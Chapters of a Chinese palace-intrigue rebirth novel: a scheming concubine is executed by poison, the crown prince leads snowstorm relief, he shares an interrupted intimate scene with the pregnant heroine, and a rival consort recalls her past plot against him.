金承徽早在闻见这阵饭菜香时就垂涎三尺了,哪怕心知要警惕,身体的本能也让她克制不住张开了嘴。
直到膳用了一半。
哗啦——
金承徽一把掀翻炕桌。
“狗奴才,我要见太子!”
海顺坐在炕边的乌木椅上,闻言不为所动,自有宫人收拾地上的狼藉。
金承徽又抄起引枕砸。
海顺随手接住。
“殿下忙着呢,承徽主子有话与我说就是。”
“你也配在我跟前称‘我’?”
海顺:“不说算了,收拾收拾上路罢。”
金承徽闻言一怔。
知道会走到这一步,但真听到这样的话,她的心底还是升起了无限恐慌。
她不要死,她不想死!
该死的不是她!
不是她!
“啊啊啊!啊啊啊——”
金承徽疯了也似抱头尖叫,叫到一半,她骤然收声下了炕就往外跑!
可惜脱水太久,刚吃了饭腿脚还没恢复力气,致使她刚起身就栽倒在地。
两个宫女去扶她,金承徽抬手就要扇人。
被海顺拿拂尘挡住了。
“承徽主子病了,将人搀进卧房。”
“不、不准碰我!”
“狗奴才你们敢动我试试!敢动试试?!”金承徽甩开宫女的手,尖声吵嚷着。
海顺可不惯着她。
最终金承徽被抬进了卧房,两个身强力壮的宫女将其牢牢安置在榻上。
金承徽挣扎无果,发起狠来。
“太子对我就不觉有愧吗?我在东宫三年,他亏欠我三年就不觉有愧吗!”
“愧?”
海顺淡漠地看着她。
“承徽主子怕是记性不好,自您入东宫,令尊由鸿胪寺丞调任为礼部主事。
令堂受封六品安人,逢年节宫中皆有赐赏。
令兄从一介不入流的小旗晋为正七品总旗,令弟因恩例入国子监,令妹亦寻了桩好婚,这些可都是大大的实惠。”
“殿下因何要对您有愧?又何来亏欠一说?”
按常理承徽这个位份即便恩荫其母族,通常也只有父母双方受恩。
不至于一人得道鸡犬升天。
但太子患有隐疾,答应金承徽几人入东宫于他而言便是一种利益交换。
所幸不是什么大事,太子行事也有分寸,元隆帝和都察院便睁一只眼闭一只眼。
而金家一家子蒙太子封赐这事,金承徽是知晓的,也为此好不得意。
可现在。
她咬牙怒道:“那是他们,他们好不好跟我无关!我没叫太子给他们恩惠!”
海顺的脸彻底冷了下来。
看金承徽的眼神与看**无异。
也就是在这时候。
拼命挣扎的金承徽忽感胸口似巨石压顶,阵阵剧烈刺痛扎得她眼前发昏。
喉咙里像被什么堵住,卡得她几乎喘不过气来,手足在顷刻间僵直发冷。
“不、不……”
两个宫女终于松手。
金承徽捂紧心口,另一手朝海顺伸去,指甲与嘴唇皆呈现异样的青紫。
“你们不能这么对我!是、我是陷害宋槛儿了,可她不是没怎么样吗?她肚子里的那坨肉不是没被堕吗?!”
海顺:“不是没酿成祸就叫无罪,真等事发生了才定罪,律法不成摆设了?”
金承徽才听不进他的话。
她拼了命往床下挪,却是“砰”的一声重重摔倒在地,浑身不住地抽搐。
知道自己今儿是要折在这儿了,金承徽猛地抬头,脸上脖子上青筋暴起。
双眼鼓胀,粗哑的声音似是从牙缝里挤出来一般。
“宋槛儿……宋槛儿!”
“我诅咒你胎死腹中,一尸两命!我诅咒你……唔唔!”
哈哈哈哈!
怕被她咒吗?
怕就对了!
她就是要诅咒宋槛儿。
诅咒她生产当日临盆难产,血崩而亡!诅咒她肚里的孽种早夭横死!
她,金瑶。
做鬼也不会放过宋槛儿,不会放过太子!
.
啊啊啊!
熟睡中的曜哥儿惊醒,心底发出一连串惊叫。
什么东西?
他为什么会梦到金承徽?
那个曾在元隆二十八年,害得父王的一位新侍妾一尸两命的金承徽!
第127章 庆昭帝呢?“妾身替殿下暖暖。”
金承徽**,据说是突发心疾引起的暴毙,有东宫医官和太医记录在册。
承徽没有上皇家玉牒,属东宫中阶侍妾。
按制当告知母族其死讯,安葬至京郊西山坟,东宫膳房停荤三日即可。
不宜举哀。
然金承徽乃太后生前赐于太子。
大靖以孝治天下,故而香叶轩破例挂白三日,着人诵经冀其早登极乐。
宫人之间不得嬉笑打闹。
期间太子不涉足后院。
三日后。
香叶轩除白,一切恢复如常。
知道那晚实情的皆对此绝口不道,不了解的见此情形也俱只字不提。
东宫后院似是彻底沉寂了下来。
曜哥儿通过他娘和父王的对话,终于确定了宋昭训和宋奉仪就是同一人。
宋槛儿,他娘就叫这个名儿。
所以偶尔听娘与父王的谈话,感觉到他们的关系比上辈子好很多。
曜哥儿打心底里高兴。
虽然不清楚其中的原因,但他已经迫不及待地想被娘亲生下来啦。
到时候他一定乖乖出来,绝不会让娘像金承徽在他梦里说的那样难产!
十月十八立冬。
没过几日,京城下了今年的第一场雪。
簌簌洒洒了一夜。
翌日还在继续,院中一片银装素裹。
花坛里的木芙蓉仅剩下几根光秃秃的虬枝,秋海棠挂着几颗红果子,贴着枝梗的地方只残留着零星碎花。
枝丫上都堆着一小撮小撮雪。
喜雨伸手一拽,再松开,雪花溅起再哗啦啦落下,只剩了光光的枝丫晃啊晃。
庭院里的荷花池结了冰,前些日子膳房的人把里面的锦鲤给打捞过去了。
不是要做成吃的,而是要用特制的保温缸子养着,等暖和了再放回来。
槛儿穿着菡萏色绣鹊登梅的立领对襟夹袄,下巴缩在毛茸茸的领子里。
手捧汤婆子坐在门口看跳珠他们堆雪人,张嘴说话时呼出一团团白雾。
槛儿的祖籍安庆府每年冬天也会下两到三场雪,有时候下得还不小。
而自打来了京城,她对雪就更不陌生了。
常言瑞雪兆丰年。
冬雪一尺,麦收一石。
对时下靠天吃饭的老百姓来说,冬日里的第一场雪就是大大的吉兆。
而于元隆帝这样的当政者而言,每年的初雪即上天予皇帝德政的嘉奖。
前几代帝王曾因大雪举行过祭祀,若哪年冬季无雪皇帝还当斋戒祈雪。
更甚者要下罪己诏。
初雪的重要性,可见一斑。
只凡事皆有利弊。
像是雨雪日晒这样的气候自然也要有个度,若不然就不是祥瑞而是灾害了。
这回的这场雪不是暴雪,却也不小。
钦天监在五日前就呈报了雪情预警,工部收到元隆帝的诏令,知会专管治安消防和疏街理渠的五城兵马司。
疏散京郊附近房屋有坍塌风险的百姓,同时对这些房屋进行加固修缮。
另有四处的桥路沟渠。
该巡检的巡检,该修的修,通的通。
当然不是把这些都做好了就能确保万无一失,还得提前征集除雪的人。
如此才能及时保障下雪期间及雪后各个路段的畅通,同时尽量避免或者减轻雪势过大造成的灾害。
太子近来忙的就是这个事。
核实征召的丁员数,调动雪前雪后各地修缮房屋桥路要用到的物料。
还有除雪要用的盐、草荐、炭渣,用于郊外农田小径破冰的马溺和醋等等,都要径司务厅审查调度。
早先太子虽没入朝,但与应对自然灾害有关的奏章邸报、史实圣训他每日都会看,亦学过不少相关课程。
造办处每年替太子打造的,用以模拟治理灾情的沙盘模具不胜枚举。
加之九月里四处巡视,对京城各个地方的情况有了更进一步地掌握。
类似哪处该派多少人手物料,哪处百姓需提前安置这样的预算,太子和尚书许仲谦多次在堂议上不谋而合。
因着预防得及时,直至这场大雪结束,城内外都并未造成多少损害。
仅几处流民棚户坍塌,好在没造成人员伤亡。
但雪下了整六日积雪超六寸,冻毙十余人,元隆帝命顺天府开仓施粥。
前朝的事槛儿无从得知,不过她有上辈子的经验,看雪势便猜到要施粥。
想了想。
槛儿让跳珠把她的旧衣鞋,和现下穿不了的几身没什么绣花的中衣、夹袄找出来。
另叫他们也把各自不穿的衣裳鞋袜统统找出来,洗干净后拿包袱装好。
起初喜雨等人还不懂自家主儿要他们找旧衣作甚,直到嘉荣堂来人传话。
说太子妃有令,要后院众人捐出旧衣,以助京城内外百姓过冬什么的。
喜雨和小福子他们就觉得自家昭训主儿心可真细,考虑得真周全。
槛儿笑而不语。
这次安抚百姓。
东宫将节存的一千五百斤炭、粮食五百石、旧棉袍及其余衣物四百领,姜桂膏五十瓮转顺天府代施贫老。
其中太子一人捐炭八百斤、粳米粮三百石,无违制僭越之旧衣百领。
以往每逢这种时候都是历来有仁王美誉的信王,和贤王之名的睿王最为积极。
设粥鹏、捐物资、派府医为百姓治病什么的,大张声势闹得人尽皆知。
倒是把东宫给显没了。
不过太子向来不会在这种关系到灾情和百姓生死的事上同他二人计较。
不论谁以哪种方式与他较劲,只要利国利民太子都会用予以相应的支持。
雪停第三日。
太子随工部尚书巡视京郊。
次日,太子于文华殿诵经焚香以斋戒祈福。
认真说来,捐衣捐炭也好斋戒祈福也罢,古往今来这些事于储君而言其实更偏向于一种象征性的流程。
一种彰显太子仁德的仪式。
但槛儿清楚他们的太子不是在走过场,他是真心实意在为城中百姓奔波。
也是由衷地在祈福。
上辈子这人就是这样,冷冰冰硬邦邦的,看似谁也猜不透他的心思,更不会把体贴关切之言挂在嘴边。
但他励精图治躬勤政事,内修文德外治武备,常常为解百姓之困旰食宵衣。
大靖在他的治理下四海升平,国泰民安。
槛儿不免就想到了庆昭帝。
想到了上辈子的他。
她是**又重活了,那么庆昭帝呢?
男女情爱什么的。
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>槛儿自认她和庆昭帝之间没有这种东西,她也不想去深究自己临终前那人的种种反常行举是为何。
但庆昭帝是一位有雄才大略,深受百姓爱戴的明君,槛儿由衷地希望他。
福寿安康,长命百岁。
“主子,主子!殿下来啦!”
袖子被跳珠扯了好几下。
槛儿微惊了一下。
回过神来才发现太子不知何时进来了,而她还靠坐在炕上不动如山。
也是自打开始下雪,路面湿滑,加之现下晚上黑得早且夜里愈发冷寒。
二十那日太子休沐来这边宿了一夜,第二天临走时就交代说,即日起到她生产之前都无需出去迎他。
刚刚小福子来报消息时太子跟他前后脚,出神的槛儿没听见外间的动静。
“殿下。”
槛儿忙下了炕上前见礼。
骆峋抬手按住她的肩,“不必。”
槛儿的脸被屋中暖气熏得泛红,她习惯性去握太子的手哪知却被躲开了。
“冷。”
骆峋对上她微愕的眼神,解释了一句。
槛儿扬起唇角走近,还是趁其不备握住了那双大掌,然后将其塞到怀中。
“妾身替殿下暖暖,暖暖就不冷了。”
她的声音自来是温婉中夹杂着一丝柔媚,像空山蜿蜒而下的潺潺溪流。
语调轻快时便显得清甜绵软,像羽毛,又像似小猫伸出的细嫩爪子。
挠得人心痒痒。
更别说,此刻她还将他的手放置怀中。
说是怀,其实更偏向胸口。
而槛儿自打显了怀腰身瞧着倒是没什么变化,从后面看与之前差不多。
但胸与臀却是要比之前来得饱满挺翘,此刻骆峋的手被她就这么放在胸口。
他只觉十个指尖都僵住了。
想收回手。
可她笑得如此开怀,他都能想象出自己若将手抽回她脸上的笑僵住的情形。
可不收回。
骆峋侧目。
宫人们已在海顺的示意下退到了外间。
海顺走在末尾处。
骆峋看过去时海总管正拿眼往两位主儿这边偷瞄呢,嘴角还憋着笑。
瞅着太子在看他,海总管脚下装了风火轮也似,憋笑的痕迹也更明显。
这老家伙!
骆峋心中恼羞成怒地笑骂。
“殿下可用过膳了?”
槛儿没注意到太子和海总管的眉眼官司,替太子暖了会儿手抬头问道。
放在平时她不会多此一问。
主要太子近日太忙了,上次休沐日过来的,却是临到亥时他竟没用晚膳。
经槛儿一问,骆峋的注意力从被她放到她胸口之上的手上拉了回来。
倒不为别的。
而是今晚他在嘉荣堂用的膳。
用了才来的。
之前逢休沐的前一日晚上,他偶尔也会到嘉荣堂用膳,但先前她不曾问及。
骆峋便没想起这茬。
想什么呢,他去用膳不过走个过场,现今郑氏也还需占着那个位置。
这些体面他要给。
本就是无心之举,自然无需放在心上。
更没必要向谁提起。
可也不知为何。
此时听槛儿问起这个问题,骆峋心里破天荒掠过一抹莫名的不自在。
第128章 太子:“你若不愿,孤便不碰你。”
“殿下?”
见太子只拿那双黑幽幽的眼盯着她不发一语,槛儿捏捏他的手轻唤道。
“嗯,用了。”
骆峋敛起心思道,抽出一只手虚揽着槛儿肩头与其相携来到炕上坐下。
槛儿敏锐地察觉到太子似有心事,只当他在为政务烦忧,便也没多想。
坐下后,槛儿一只手保持着替太子暖手的姿势,另一只手捏捏他的肩背。
“殿下最近辛苦了,看您都瘦了眼下也泛青,今晚早些安置睡个好觉吧。”
骆峋确实瘦了,不过他的这种瘦不是清瘦,而是愈发强健有力的劲瘦。
若非长期不曾见他,或是心思不够敏锐的,可能根本察觉不到这番变化。
骆峋上次来槛儿这边是十月二十,今儿二十九,九日算不得长期。
那便是她心细如发。
亦或者她只是随口一说,毕竟这样的话题较易表现她对他的体贴用心。
感觉到捏肩的动作停了,骆峋握住搭在他肩头的小手问:“累到了?”
槛儿摇头。
“看您在想事,不想扰到您。”
骆峋望进她澄澈含笑的眼底,顿了顿,语调淡淡:“没想事,在想你。”
啊?
槛儿怔住,红唇微张。
骆峋移开视线。
“想你心思细腻,看出孤瘦了。”
槛儿:“……”
槛儿呼出一口气。
抚了抚因为太子猝不及防的这句话,而本能地心跳漏了一拍的心口。
骆峋:“作何如此紧张?”
槛儿红着脸,诚实地欲语还休道:“不是紧张,是以为您在与妾说情话……”
骆峋:“……”
太子爷的冰块脸差点没稳住,耳根处一股烫意以前所未有的势头攀升。
忍了又忍,没忍住。
他假作训诫道:“你矜持些。”
什么情话,他岂是那等会将男女情爱之事挂在嘴边的轻浮之徒?
不是叫她庄重就是叫她矜持,槛儿暗暗撇嘴,却也知道这人就是这么个性子。
所以倒也没觉得窘,只抿了抿唇轻轻垂下眼帘,一副很是乖顺的模样。
“妾身越矩了,您别恼。”
骆峋没恼。
他只是……
此话题无法进行下去,骆峋转移话题:“方才在想什么,不曾察觉孤进来。”
槛儿欲言又止。
骆峋:“不便说就罢。”
“……不是不便。”
槛儿忸怩道,“是怕说了您生气。”
她还能想会惹他生气的事?
骆峋难得来了兴致,从旁边炕几上端起茶浅啜一口,“恕你无罪。”
那行吧。
说吧。
槛儿:“在想您。”
想上辈子的他怎么不算想他呢。
骆峋:“……”
幸好茶水咽下去了,若不然素来稳重自持的太子爷今儿指定要丢丑。
知道她是故意这样说来讨好他,但骆峋并不需要她拿这样的话来讨好。
犯不着如此,他也不会冷落了她。
“你……”
“想您仁心仁术,这么冷的天在外奔波,想您心里装着天下,眼里放着百姓。
有您这样的太子乃大靖之福,百姓之福。”
“想您这样好的太子福寿康宁,长命百岁。”
槛儿真心没有吹捧太子的意思,她只是将曾经亲身见闻的感受说出来。
这也是槛儿打从心底里对庆昭帝的祝愿,对眼前人的真心祝愿。
骆峋原以为槛儿是刻意吹捧他,想通过这些奉承之言来讨好他。
对此,骆峋的第一反应是恼,这也是他与她相处半年之久头一次生恼。
不为别的。
只因他不喜别人拿此类言语对他阿谀奉承,更不喜被人这般吹捧。
外面的人惯于谄媚钻营,避免不了,但来了后院骆峋便不想听到这样的话。
因此他的脸色正欲沉下来。
哪知下一刻。
就见她神情平和,眼神专注地说出了那句想他福寿康宁,长命百岁的话。
奉承之言骆峋自小听到大。
但像这样,神态如此坦率平和,说完后突然祈愿他福寿康宁长命百岁的。
骆峋是真没听过。
他面不改色,心里却委实错愕了一瞬,伴随而来的还有另一种感觉。
一种对上她娴静却不失灼亮,清澈又不失坚定的眼神,心跳便快得厉害的感觉。
有东西冒了出来。
迎风招展,搔动他的胸腔。
转瞬间,这种感觉便叫他忘了此前的恼。
让他无端想做点什么。
可要做什么,骆峋又清楚。
两个呼吸的功夫心中已然百转千回。
最终只余下一种想法。
抱她。
骆峋也这么做了。
他在男女之事上历来注重规矩恪守礼法,但此时
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是晚上,屋中又只他二人。
且她是他的昭训,她也是喜和他挨在一处的。
那么他们亲近便合情合理。
来时沐过浴亦无需费时洗漱,耗时一息想通,骆峋不再浪费时间。
神色如常地探出大掌扶住槛儿的腰,轻而易举将其打横抱起行向卧房。
槛儿:“?”
她说的不是正经话吗?
怎么也不回一句,这就安置啦?
不是槛儿突然傻了,之前仅凭太子的动作和眼神就能知道他想做什么。
这会儿却傻不楞登的。
而是自打她有孕,再到显怀。
太子在榻上一次比一次克制,他们顶多就像之前那样贴一贴,抱一抱。
槛儿偶尔会对太子上手,摸摸他强健的胳膊,结实富有弹性的胸腹肌。
再多的却是没有了。
太子也不让她久摸,更不会摸她。
他能体谅她有孕在身,并非只顾自己快活,槛儿当然乐见其成,也不至于非要在这种时候勾着男人做那事。
加之太子前些日子忙,上次休沐过来时累得上了榻没多会儿就睡沉了。
丁点儿花花心思都没有。
所以在太子这种正经,说一不二的行事作风的影响下,两人单独相处时槛儿也如太子想的那般愈发庄重。
以至于她这会儿根本没往其他方面想。
直到太子将她放到榻上。
兀自褪去外袍,再替槛儿脱去外衫,而后伸手来解她立领中衣上的盘扣。
槛儿终于反应过来。
抓着那只解开扣子的手,红着脸问:“聊得好好的,您做什么突然来了兴致?”
骆峋哪里会说自己是被她勾着了,且她方才分明也不是要勾他。
骆峋自然不会给她安罪名。
不说,那便行动。
自是不会做到最后,但他知道自己想她。
“可以吗?”
骆峋由槛儿抓着他的一只手,另一只手摸着她的发髻,低低地问。
他不问还好,问了反倒让槛儿发臊。
同时也不知怎么。
明明那双眼还是她熟悉的清冷深幽,槛儿却被他看出了一丝心慌。
这让她没来由起了性子,偏过头稍显扭捏道:“妾身若说不可以呢……”
骆峋微微躬腰。
手撑在床沿上,与槛儿平视。
“你若不愿,孤便不碰你,待到生产后再说。”
第129章 曜哥儿是太子的漏风皮大衣!
此时卧房的灯亮着。
骆峋褪了外袍后身上只着了件平整合身的中衣,随着他躬身的动作,后腰处便清晰可见其窄劲匀称的腰线。
他脖颈上那颗鸽子蛋大小的喉结,因着他微抬下颌的姿势格外显眼凸出。
槛儿被太子的话噎了一下。
对上他那在通明的烛光下更显深邃的眼睛,她抓着他的手微微松了力道。
不自在地摸摸脸,槛儿试探着嘟囔道:“哪有扣子都解了才问的,殿下耍赖……”
骆峋看着她红润润的脸蛋,眸底转瞬闪过一丝笑意,抬起手捏着她的扣子。
“孤给你扣上。”
槛儿就绷不住了,拿手背掩着唇笑。
骆峋便维持着一手撑在床沿,一手捏着她领子盘扣的姿势,看着她笑。
槛儿渐渐收了笑,白皙的指节半遮着粉艳艳的唇,眼含秋水也似与太子对视。
旋即,她抬起胳膊将手搭在他肩头。
“妾身,叫人进来熄灯。”
骆峋喉结微滚,“不必。”
槛儿不解。
骆峋在她唇上亲了一口,呼吸微沉。
“你与孤尚未曾坦诚相待。”
他说得比较文雅,槛儿却是想起了别的。
上辈子前期太子夜里不喜掌灯,后面这个习惯改了却是又有了新的习惯。
那便是留着灯行事时必看她,真不知这么一个习惯是怎么被他养成的。
也不清楚是受他影响还是自己本身如此,槛儿发现自己也挺爱看着他的。
只是这癖好太羞人。
她哪里好宣之于口更怕被他察觉,为此常常羞臊不已,眼睛都不知往哪儿看。
这会儿听太子说坦诚相待什么的,槛儿的脸本能地就烫了,烧了火似的。
却也没阻止,只侧首道:“嬷嬷在外头呢,殿下要如何坦诚相待?莫被听了去……”
骆峋亲亲她的脸蛋,顺手放下纱帐。
“不会,孤有分寸。”
话说完,槛儿的中衣被解了开。
屋中烧着地龙,热烘烘的。
槛儿的中衣下没有穿加厚的贴身小衫,敞开便是胭脂粉绣海棠花的肚兜。
花瓣般粉白的皮肤经如此鲜艳的颜色一衬,更显欺霜赛雪,冰肌玉骨。
槛儿挡了一下,另一只手扯扯太子的中衣,骆峋的眸底便浮起笑意和暗涌。
牵起槛儿的手,放在他侧腰的系带上。
“替孤脱。”
也是奇了。
两人分明最亲密的事都做过了,孩子都有了,这会儿却皆宛如头一回。
男人的中衣褪去,那具长年习武练就出的强健体魄在烛光中一览无余。
结实挺拔,猿臂蜂腰。
肩背、胸膛及腰腹肌肉虬劲,仿若蛰伏于丛林间的猛虎雄狮,蕴含无穷力量。
两侧姣好的腰线一路蔓延直至埋进裤边,再是两条修长的腿,其间……
槛儿一个激灵,视线像似被狠灼了一下,她忙收回目光只当什么也没看见。
骆峋侧首覆上她的唇。
大掌没有阻隔地碰到她细腻的腰间,带着薄茧的指腹似有若无地揉搓着。
槛儿软了身,骆峋顺势上榻抱起她坐在他腿上让其就这么靠在他怀里。
灯光透过纱帐照进来。
男人暖玉似的肤色与姑娘家的皓雪凝脂紧紧相贴,撞入各自的视野里。
帐中空气顷刻间升温。
骆峋身子紧绷,胸膛上的肌肉随着他的呼吸微微鼓动,小臂上青筋暴起。
槛儿在女子中并不娇小,但此刻在男人伟岸身躯的衬托下竟显得尤为玲珑。
两人便这般紧密地挨在一起,亲吻之间,骆峋的手放至槛儿兜衣上的系带处。
不用费力地一拉……
曜哥儿好懵。
怎么回事?
他刚刚明明听娘夸了父王一连串好话呀,娘还希望父王长命百岁呢。
曜哥儿正想点头呢。
心说他也想现在的父王长命百岁,结果父王和娘突然什么声音都没有啦!
但这个情况又和他做魂魄的时候,父王和娘在房间里睡觉,而他被挡在门外什么也听不见看不见时不一样。
因为曜哥儿这会儿能听见娘的心跳声。
怦怦,怦怦!
等等。
娘的心跳怎么越来越快,越来越响了?
打雷似的。
这明显不正常嘛!
曜哥儿想起他死的时候感觉心跳好像就是这样的,越来越快越来越响。
娘的心跳突然变成这样,难道……
难道娘出了事?!
可娘刚刚和父王在一起啊。
父王武艺那么高强,娘应该不会出事才对啊,难不成……是有刺客?!
曜哥儿可是知道刺客的。
他做魂魄时跟在父王身边,不止一次看到有人想杀父王,那些人就是刺客!
所以父王和娘遇上刺客了?
不然怎么会好端端地说着话突然就没了声音,娘的心跳声还变成这样!
可能娘先出了事,父王追刺客去了。
至于为什么没有宫人的声音,那肯定是宫人……海顺他们已经遭遇了不测!
刺客都是偷偷现身的!
怎么办?
曜哥儿好着急。
宫人遭遇不测父王追刺客,娘现在定是受伤昏迷了,他要怎么才能救娘?
曜哥儿也是病急乱投医了,伸手用力推了推软软的墙壁,**肚子。
心里大喊着:“娘你不要睡,睡着了就醒不来了!娘你快醒醒,娘啊!娘!”
“嘶!”
骆峋刚将怀中之人兜衣上的系带扯至一半,槛儿忽地一下险咬到他的舌尖。
“怎么?”
骆峋反应很快地松唇松手,哑声问,随即不等槛儿回答便看向她的肚子。
“肚子硌着了?”
“不是硌到了,是它突然大动了一下,”槛儿眉尖轻蹙地摸着肚子道。
骆峋也抬手放上去。
过了会儿。
槛儿抬眼,太子爷垂眸。
一个仅着肚兜,露在外面的皮肤粉光若腻,双颊浮着醉酒般的酡红,红唇靡艳。
一个赤着上身,胸腹肌肉虬劲毕现,额间可见浅浅细汗,薄唇同样艳红。
然而感受着槛儿腹中小家伙的动静,萦绕在二人间的旖旎之感荡然无存。
只剩下面面相觑的静默。
槛儿没忍住,栽到太子肩头先笑出了声。
骆峋看看她轻颤的肩头,再看看自己放在她腹部的手,举目望向帐顶。
不发一语。<
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br>片刻后,他揽住槛儿的肩。
“安置吧。”
槛儿的视线无意间落到他腰腹之下,知道他不好受她也没继续招惹,只窘然道:“也不知它是不是感觉到……”
骆峋捂住她的嘴。
是他一时忘形,考虑不周。
胎儿能感知母亲所感,想是二人方才的行为致使她气血浮涌,惊动了它。
尽管清楚幼儿不知事,但如此被中断,骆峋竟有种被其窥视的荒谬感。
半晌,他拥住槛儿。
“待你生产,坐好月子之后。”
槛儿忍笑忍得好辛苦。
曜哥儿呼出一口气。
太好啦,父王和娘都没事。
看样子是没有刺客呢。
所以他刚刚为什么突然听不到他们说话了呢?娘的心跳为什么那么快呢?
曜哥儿思考了一会儿,想不明白就不想了,反正父王和娘都没事就行。
他还是太小,没醒多久又累了。
曜哥儿咂吧两下嘴,睡了。
感觉到小家伙在他们停下没多久就没再闹腾,槛儿和太子再度相顾无言。
各自穿好衣裳,骆峋去浴间擦了擦脸,回来后两人谁也没再动别的心思。
翌日。
半个多月前太子说过让她月底和他一起去给裴皇后请安,两人都没忘这事。
槛儿虽不知太子为何有此一说,但以她的位份能去给裴皇后请安怎么着都是好事,所以槛儿也没多问什么。
前些天下雪郑明芷主动免了槛儿请安,槛儿和太子到嘉荣堂时郑明芷也刚出来。
见到槛儿,郑明芷也没惊讶什么,看模样应该是太子提前和她说过这事了。
三人的暖轿停在嘉荣堂门口。
槛儿的是一顶秋香色的。
以防万一,她的暖轿底部相较于太子和太子妃的暖轿底部要略低矮一些。
一路平稳顺利地到了坤和宫,暖轿在永祥门外停下,槛儿三人先后下轿。
有太子在,自然要避开后宫妃嫔。
因此槛儿他们是掐着时辰到的,这个时候妃嫔们已经请安结束走了。
槛儿他们径直进了永祥门,谁知这时竟还是遇上了一位正往外走的妃嫔。
却是前睿王的生母,魏嫔。
经历了儿子儿媳双双被贬,孙儿孙女们被除名以及自身的降位和娘家被逐。
魏嫔肉眼可见的老了几分,眼角处几根明显的细纹,人也瞧着清瘦了不少。
看到槛儿一行人,她先是怔了怔。
旋即目露忿忿。
可惜皇太子居储副之位,其尊亚于天子,本朝诸妃嫔见东宫及储妃需行礼,贵妃以下者东宫无需回以家礼。
所以魏嫔纵使对东宫再怎么仇视,眼下也不得不上前向太子与太子妃行礼。
槛儿侧身避到一旁。
等他们那厢见完礼,槛儿再过去向魏嫔行礼,这就是所谓的重阶轻宠。
别看槛儿在东宫得宠,又怀了皇嗣。
实则按礼法她作为太子的妾就该向后宫妃嫔见礼,此乃君妾高于储妾制。
余光瞥了眼太子。
魏嫔的眼底闪过一抹意味深长,随即毫无预兆地抬手朝槛儿的肚子摸过去。
“宋昭训的肚子这么大了,几个月了?”
第130章 太子的病源,曜哥儿“看”到娘的肚子外面!
孕肚可不能随便摸。
寻常百姓家忌讳,宫中更是要谨遵礼仪。
任何一个身怀六甲的妇人也不可能轻易让人摸肚子,还是别有居心的外人。
因此眼见魏嫔的手朝自己的肚子伸来,槛儿脸色没变却是连退数步。
而在她动作的同时,太子过来抬手在槛儿身前微微一挡:“魏嫔,自重。”
郑明芷暗嗤,也款步往槛儿这边走了走。
笑道:“宋昭训身怀六甲素日自当小心谨慎,我至今都尚未碰过她的肚子,魏嫔行事也还是慎重些为好。”
这话就说得怪了。
提醒人就提醒人,偏要带一句她自己。
不知情的人还当槛儿在东宫仗着肚子有多威风呢,她这个主母都要让着。
不过槛儿垂着眼没看她。
骆峋也没有。
倒是魏嫔看了郑明芷一眼。
不过她的关注点挺别具一格,她关注的是东宫这两口子对她的称呼!
嫔这个位份只有六品,奴才见了自是要称一声娘娘,皇子公主却是不尽然!
东宫更不必敬她娘娘!
这简直在往魏嫔心里扎刀子,她也没忘她和儿子落得这步田地是拜谁所赐!
可惜就算恨,此时都只得打碎了牙往肚里咽。
“太子妃说得是,是妾身失礼了,殿下息怒恕罪,宋昭训也莫要见怪。”
魏嫔自觉能屈能伸地道。
说完又笑着补充:
“也是妾身等人都盼着宋昭训为殿下诞下一位小公子或是小郡主,今日一见难免过分欣喜,一时便失了礼数。”
骆峋并不打算与之寒暄,也不觉得自己和前睿王骆岷的生母有何可谈的。
微微颔首以礼,他不再理会。
看了眼海顺后抬步继续往坤和宫行。
海顺扭头叮嘱了跳珠一句,让搀稳她家主子,然后屁颠屁颠跟上他家爷。
魏嫔目送一行人走远。
等出了永祥门,她的嘴角拉了下来。
她一个生养过的,孙儿孙女成群结队,岂会不知妇人的孕肚不能随便碰?
先帝时期还曾有后宫妃嫔因触碰东宫有孕侍妾的肚子,被贬成庶人了呢。
不过魏嫔不怕,她只是做做样子,压根儿没打算真碰那小昭训的肚子。
魏嫔琢磨的是另一件事。
那便是十几年前她原想借刀**一举除了东宫的,奈何丽嫔那个没用的。
杀个小崽子都不敢!
无方,她只得另行策划。
也是费尽了心思终于设计将那崽子困住,让其近距离观了一场多人活春宫。
不能杀,那就废。
吓傻那小崽子也好,激起那崽子的淫性也罢,亦或是让其从此谈房事不举。
外头的高门大户与历朝历代宫里头的少年人,可不少逢上这样的腌臜事。
效果可谓极佳。
当年事情也的确都如魏嫔所想的那般在发展,哪怕裴皇后自认瞒得再好,该漏的风声也没少往魏嫔耳朵里钻。
她知道那崽子回去大病了一场,知道他初晓人事之时未经宫里的人事教导。
可惜,也仅此而已。
之后有关东宫的消息魏嫔就很难查到了,不过越是如此也越能说明问题。
说明东宫那崽子废了!
魏嫔就盼着呢。
盼着那崽子长大,盼着他娶妻纳妾。
好不容易叫她给盼得差不多了,东宫这几年果然一直没见哪个女人得宠。
也没有好消息传出来。
魏嫔偶尔想到这事,做梦都能笑醒。
横竖知道实情,所以哪怕今年四月里东宫纳了新人魏嫔也没将此当回事。
障眼法罢了,不足为惧。
她要做的是想方设法收更多的线索,再寻个好时机把消息放到民间去。
储君不能生育与大位无缘基本是板上钉钉,届时她儿子上位还不是易如反掌?
魏嫔一切都想好了。
唯独没想到姓裴的娘俩会在万寿节让她儿子、让她栽那么大一个跟头!
而且好巧不巧。
那小昭训当天诊出了喜脉!
刚传出喜讯的那会儿魏嫔沉浸在儿子被贬的悲伤中,没精力想别的。
之后回过头来想这事,她的第一反应就是——不可能,绝对不可能!
东宫那崽子哪来的本事叫女人有身子,要不然这么多年怎么不见有子嗣,偏他自己抬了个人就有了?
因而刚刚魏嫔想试探一二,想看能不能从那小昭训的反应里瞧出什么名堂。
可惜,那小蹄子一点儿脸色都没变。
太子护得那般厉害,是意图掩饰什么,还是那丫头肚里的种真是他的?
魏嫔一路走,一路琢磨。
坤和宫,槛儿一行人前脚和魏嫔撞上,消息后脚就禀到裴皇后跟前了。
于是槛儿他们一进殿,就听裴皇后在吩咐人请太医来给宋昭训把脉。
太医院在宫外的千步廊广场,来一趟至少都得耗时近两刻钟,故而宫中设有直房供太医在宫中昼夜轮值。
等太医过来期间。
槛儿三人向裴皇后请过安,裴皇后叹了口气主动道:“她还当自己是贵妃。
不是说月银不够花就是哭衣裳不够穿,刚刚跑来要炭,说她往年用的红箩银霜,今年的白炭她用不惯。”
这里的她自然指魏嫔,也算是让太子知道魏嫔为啥这时候才从坤和宫走。
郑明芷接了话头和裴皇后聊了几句。
聊完裴皇后问起槛儿,问她夜里睡眠如何食欲如何,孩子闹
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腾不闹腾之类。
说起来,裴皇后也挺无奈的。
寻常人家里知道自己要当祖母了,即便不是一日问三遍,总归也能时不时向怀孩子的人了解胎儿是何情况。
放在宫里却是不能。
槛儿不能常出东宫,裴皇后也不能越过儿媳与儿子的侍妾有过密的联系。
